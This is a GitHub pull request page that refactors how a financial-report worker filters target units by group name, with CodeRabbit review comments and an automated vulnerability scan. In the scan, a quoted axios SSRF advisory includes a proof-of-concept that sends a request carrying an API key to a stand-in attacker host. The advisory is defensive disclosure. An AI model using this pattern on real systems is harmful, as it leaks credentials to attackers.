Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

  • Introduced a constant TARGET_UNITS_GROUP to specify the group for the weekly financial report.
  • Updated the SQL query in queries.ts to join with custom_values and filter results based on the TARGET_UNITS_GROUP.
  • This change enhances the ability to retrieve specific target units relevant to the financial report.

These modifications improve the accuracy of data retrieval for financial reporting purposes.

- Introduced a constant `TARGET_UNITS_GROUP` to specify the group for the weekly financial report.
- Updated the SQL query in `queries.ts` to join with `custom_values` and filter results based on the `TARGET_UNITS_GROUP`.
- This change enhances the ability to retrieve specific target units relevant to the financial report.

These modifications improve the accuracy of data retrieval for financial reporting purposes.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner June 9, 2025 17:10
@anatolyshipitz anatolyshipitz self-assigned this Jun 9, 2025
@coderabbitai
Copy link

coderabbitai bot commented Jun 9, 2025

📝 Walkthrough

Walkthrough

The codebase was refactored to introduce a strongly-typed GroupNameEnum for group names, replacing hardcoded string literals. All relevant functions, repositories, workflows, and tests were updated to accept a groupName parameter of this type. SQL queries and validation logic were modified accordingly to filter results by the specified group name.

Changes

File(s) Change Summary
src/configs/weeklyFinancialReport.ts Added new exported GroupNameEnum enum with SD and ED report group names.
src/common/types.ts Changed GroupName type alias to derive from GroupNameEnum values; imported GroupNameEnum.
src/services/TargetUnit/queries.ts Replaced TARGET_UNITS_QUERY with parameterized getTargetUnitsQuery filtering by group/principal.
src/services/TargetUnit/ITargetUnitRepository.ts Updated getTargetUnits interface method to require a groupName parameter.
src/services/TargetUnit/TargetUnitRepository.ts Modified getTargetUnits to accept groupName, use parameterized query, and import updated types/constants.
src/activities/weeklyFinancialReports/getTargetUnits.ts Updated getTargetUnits to require a groupName parameter and pass it to the repository.
src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts Updated workflow to require and validate groupName, passing it to the activity.
src/activities/weeklyFinancialReports/getTargetUnits.test.ts
.../TargetUnitRepository.test.ts
Updated all test calls to getTargetUnits to explicitly pass GroupNameEnum.SD_REPORT as argument.
src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts Enhanced tests: added group name validation, error propagation, and parameterized tests for all group names.

Sequence Diagram(s)

sequenceDiagram
    participant Workflow as weeklyFinancialReportsWorkflow
    participant Activity as getTargetUnits
    participant Repo as TargetUnitRepository
    participant DB as Database

    Workflow->>Workflow: Validate groupName in GroupNameEnum
    Workflow->>Activity: getTargetUnits(groupName)
    Activity->>Repo: getTargetUnits(groupName)
    Repo->>DB: Execute getTargetUnitsQuery with [groupName]
    DB-->>Repo: Return filtered target units data
    Repo-->>Activity: Return TargetUnit[]
    Activity-->>Workflow: Return fileLink
Loading
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@github-actions
Copy link

github-actions bot commented Jun 9, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:725c44ee8ae683f539f9e5a5db2aee4fe04f51be3b4f3ca5856f06bdaeebf649
vulnerabilitiescritical: 2 high: 6 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.023%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/[email protected]

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.082%
EPSS Percentile25th percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.151%
EPSS Percentile37th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score15.980%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.049%
EPSS Percentile15th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile53rd percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (1)
workers/main/src/services/TargetUnit/queries.ts (1)

29-29: Fix indentation inconsistency.

The WHERE clause condition has inconsistent indentation compared to the previous line. Consider aligning the indentation for better readability.

   WHERE g.type = 'Group'
-  	AND cv.customized_type = 'Principal' and cv.value='${TARGET_UNITS_GROUP}'
+    AND cv.customized_type = 'Principal' AND cv.value = '${TARGET_UNITS_GROUP}'

Also consider using consistent capitalization for SQL keywords (use AND instead of and).

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between e716317 and ca160e9.

📒 Files selected for processing (1)
  • workers/main/src/services/TargetUnit/queries.ts (2 hunks)
⏰ Context from checks skipped due to timeout of 90000ms (6)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (javascript-typescript)
  • GitHub Check: Analyze (actions)
🔇 Additional comments (1)
workers/main/src/services/TargetUnit/queries.ts (1)

1-1: LGTM! Well-defined constant for filtering criteria.

The constant is properly named, typed as string, and provides good maintainability by centralizing the group name used for filtering.

coderabbitai[bot]
coderabbitai bot previously approved these changes Jun 9, 2025
- Updated the `getTargetUnits` function to accept a `groupName` parameter, allowing for dynamic group selection when retrieving target units.
- Modified the SQL query in `queries.ts` to filter results based on the provided `groupName`.
- Enhanced unit tests to cover scenarios for both default and custom group names.
- Introduced a new constant `defaultGroupName` for the default group value.

These changes improve the flexibility of the target units retrieval process and enhance test coverage for various group scenarios.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

♻️ Duplicate comments (1)
workers/main/src/services/TargetUnit/queries.ts (1)

22-22: Note: Previous indexing recommendation still applies.

There's an existing recommendation to add an index on custom_values.customized_id for performance optimization of this JOIN operation.

🧹 Nitpick comments (1)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1)

10-13: Consider adding input validation for the groupName parameter.

The workflow correctly maintains backward compatibility with an optional parameter and default value. However, consider adding validation similar to the activity function to ensure the parameter is valid before processing.

 export async function weeklyFinancialReportsWorkflow(
   groupName: string = defaultGroupName,
 ): Promise<string> {
+  if (!groupName || groupName.trim().length === 0) {
+    throw new Error('Invalid groupName: parameter cannot be empty');
+  }
+
   const targetUnits = await getTargetUnits(groupName);
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between ca160e9 and d534f9a.

📒 Files selected for processing (10)
  • workers/main/src/activities/weeklyFinancialReports/getTargetUnits.test.ts (3 hunks)
  • workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (1 hunks)
  • workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (3 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.ts (2 hunks)
  • workers/main/src/services/TargetUnit/queries.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/const.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/index.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1 hunks)
✅ Files skipped from review due to trivial changes (2)
  • workers/main/src/workflows/weeklyFinancialReports/const.ts
  • workers/main/src/workflows/weeklyFinancialReports/index.ts
🧰 Additional context used
🧬 Code Graph Analysis (7)
workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (3)
workers/main/src/services/TargetUnit/TargetUnitRepository.ts (2)
  • getTargetUnits (36-51)
  • TargetUnitRepository (9-52)
workers/main/src/common/RedminePool.ts (1)
  • RedminePool (4-46)
workers/main/src/configs/redmineDatabase.ts (1)
  • redmineDatabaseConfig (3-8)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1)
  • weeklyFinancialReportsWorkflow (10-16)
workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (2)
workers/main/src/workflows/weeklyFinancialReports/const.ts (1)
  • defaultGroupName (1-1)
workers/main/src/common/errors/TargetUnitRepositoryError.ts (1)
  • TargetUnitRepositoryError (3-7)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (2)
workers/main/src/workflows/weeklyFinancialReports/const.ts (1)
  • defaultGroupName (1-1)
workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (1)
  • getTargetUnits (11-33)
workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1)
workers/main/src/common/types.ts (1)
  • TargetUnit (1-12)
workers/main/src/services/TargetUnit/TargetUnitRepository.ts (3)
workers/main/src/common/types.ts (1)
  • TargetUnit (1-12)
workers/main/src/services/TargetUnit/queries.ts (1)
  • getTargetUnitsQuery (1-45)
workers/main/src/services/TargetUnit/types.ts (1)
  • TargetUnitRow (3-12)
workers/main/src/activities/weeklyFinancialReports/getTargetUnits.test.ts (5)
workers/main/src/services/TargetUnit/TargetUnitRepository.ts (1)
  • getTargetUnits (36-51)
workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (1)
  • getTargetUnits (11-33)
workers/main/src/workflows/weeklyFinancialReports/const.ts (1)
  • defaultGroupName (1-1)
workers/main/src/common/fileUtils.ts (1)
  • writeJsonFile (19-32)
workers/main/src/common/errors/AppError.ts (1)
  • AppError (1-9)
⏰ Context from checks skipped due to timeout of 90000ms (4)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (10)
workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (1)

20-20: LGTM!

The parameter is correctly passed to the repository method, maintaining consistency with the updated interface.

workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (2)

6-6: LGTM!

The import of defaultGroupName is correctly added to support the updated test calls.


41-41: LGTM!

All test method calls are consistently updated to pass the defaultGroupName parameter, maintaining test coverage while adapting to the new interface.

Also applies to: 59-59, 66-68

workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (2)

14-14: LGTM!

The test description is more specific and clearly indicates this tests the default group scenario.


20-24: LGTM!

Good addition of a test case to verify the workflow works correctly with a custom group name parameter.

workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1)

4-4: LGTM!

The import of defaultGroupName is correctly added for the default parameter value.

workers/main/src/services/TargetUnit/TargetUnitRepository.ts (1)

36-39: LGTM! Repository method correctly updated to support parameterized queries.

The method signature change properly accepts the groupName parameter and the implementation correctly uses the new getTargetUnitsQuery function. Error handling and data mapping remain unchanged, which maintains consistency.

workers/main/src/activities/weeklyFinancialReports/getTargetUnits.test.ts (3)

6-6: Good addition of defaultGroupName import.

The import provides consistency with the workflow configuration and ensures tests use the same default value.


116-132: Excellent test coverage for both default and custom group scenarios.

The tests properly cover both the default group name usage and custom group name scenarios. The separation into distinct test cases makes the test intentions clear and maintainable.


137-155: All error handling tests properly updated.

The error scenarios and cleanup tests correctly use the defaultGroupName parameter, maintaining test coverage while adapting to the new function signature.

- Updated the `getTargetUnitsQuery` function to return an object containing the SQL query and parameters for improved query execution.
- Modified the SQL query to use a placeholder for the `groupName` parameter, enhancing security and flexibility.
- This change streamlines the process of executing the query with dynamic parameters.

These modifications improve the maintainability and usability of the target units retrieval process.
…me type

- Introduced a new JSON file containing target units data for various projects and users, enhancing the reporting capabilities.
- Refactored the `getTargetUnits` function to accept a `GroupName` type instead of a string, improving type safety and clarity.
- Updated related tests to utilize the new `GroupName` type and ensure consistent behavior across different group scenarios.
- Removed the deprecated `defaultGroupName` constant to streamline the codebase.

These changes enhance the maintainability and usability of the target units retrieval process while providing necessary data for financial reporting.
- Removed the target units JSON file as it is no longer needed.
- Updated the `getTargetUnits` function to utilize `GroupNameEnum` for improved type safety and clarity.
- Refactored related tests to replace string literals with `GroupNameEnum` values, ensuring consistent behavior across different group scenarios.
- Enhanced error handling in the `weeklyFinancialReportsWorkflow` to validate group names against `GroupNameEnum`.

These changes streamline the target units retrieval process and improve maintainability by leveraging enumerated types.
@sonarqubecloud
Copy link

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (1)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1)

8-17: Consider simplifying the mock interface.

While the custom interface works, it might be overly complex for this use case. Consider using Vitest's built-in mock types directly.

You could simplify this by removing the custom interface and using Vitest's MockedFunction type:

-// Define the type for the mocked getTargetUnits function
-interface GetTargetUnitsMock extends Mock {
-  mockResolvedValueOnce: (value: { fileLink: string }) => void;
-  mockRejectedValueOnce: (error: Error) => void;
-  mockReset: () => void;
-}
-
-declare module '@temporalio/workflow' {
-  export function __getTargetUnitsMock(): GetTargetUnitsMock;
-}

And use the standard Vitest mock approach in the mock declaration.

🧰 Tools
🪛 Biome (1.9.4)

[error] 16-16: Do not export from a test file.

(lint/suspicious/noExportsInTest)

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 4cdc31c and 7d39d32.

📒 Files selected for processing (6)
  • workers/main/src/activities/weeklyFinancialReports/getTargetUnits.test.ts (4 hunks)
  • workers/main/src/common/types.ts (2 hunks)
  • workers/main/src/configs/weeklyFinancialReport.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (3 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1 hunks)
✅ Files skipped from review due to trivial changes (1)
  • workers/main/src/configs/weeklyFinancialReport.ts
🚧 Files skipped from review as they are similar to previous changes (3)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts
  • workers/main/src/activities/weeklyFinancialReports/getTargetUnits.test.ts
  • workers/main/src/common/types.ts
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (2)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1)
  • weeklyFinancialReportsWorkflow (12-24)
workers/main/src/common/errors/AppError.ts (1)
  • AppError (1-9)
🪛 Biome (1.9.4)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts

[error] 16-16: Do not export from a test file.

(lint/suspicious/noExportsInTest)

⏰ Context from checks skipped due to timeout of 90000ms (3)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (7)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (3)

4-6: LGTM! Clean import additions.

The imports are well-organized and include all necessary types and error handling classes for the new functionality.


12-20: Well-implemented validation with proper error handling.

The validation logic correctly checks the groupName parameter against the enum values and throws a descriptive error. The type casting (Object.values(GroupNameEnum) as GroupName[]) is necessary to align the enum values with the GroupName type.


21-21: Correctly passes the validated groupName parameter.

The call to getTargetUnits now properly passes the validated groupName parameter, enabling group-specific data filtering as intended.

workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (4)

37-47: Excellent parameterized testing approach.

The parameterized test using it.each provides comprehensive coverage for all valid group names, ensuring the workflow behaves correctly for each enum value.


49-60: Thorough validation testing with proper error assertions.

The test correctly validates that invalid group names throw the expected AppError with the appropriate message. The type casting is necessary for testing invalid inputs.


62-67: Good coverage for error propagation.

This test ensures that errors from the getTargetUnits activity properly propagate through the workflow, which is important for debugging and error handling.


15-17: Static analysis false positive can be ignored.

The static analysis tool flagged the module declaration as an export from a test file, but this is a false positive. The declaration is just for TypeScript typing support and doesn't actually export anything from the test file.

🧰 Tools
🪛 Biome (1.9.4)

[error] 16-16: Do not export from a test file.

(lint/suspicious/noExportsInTest)

@anatolyshipitz anatolyshipitz marked this pull request as draft June 10, 2025 15:17
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants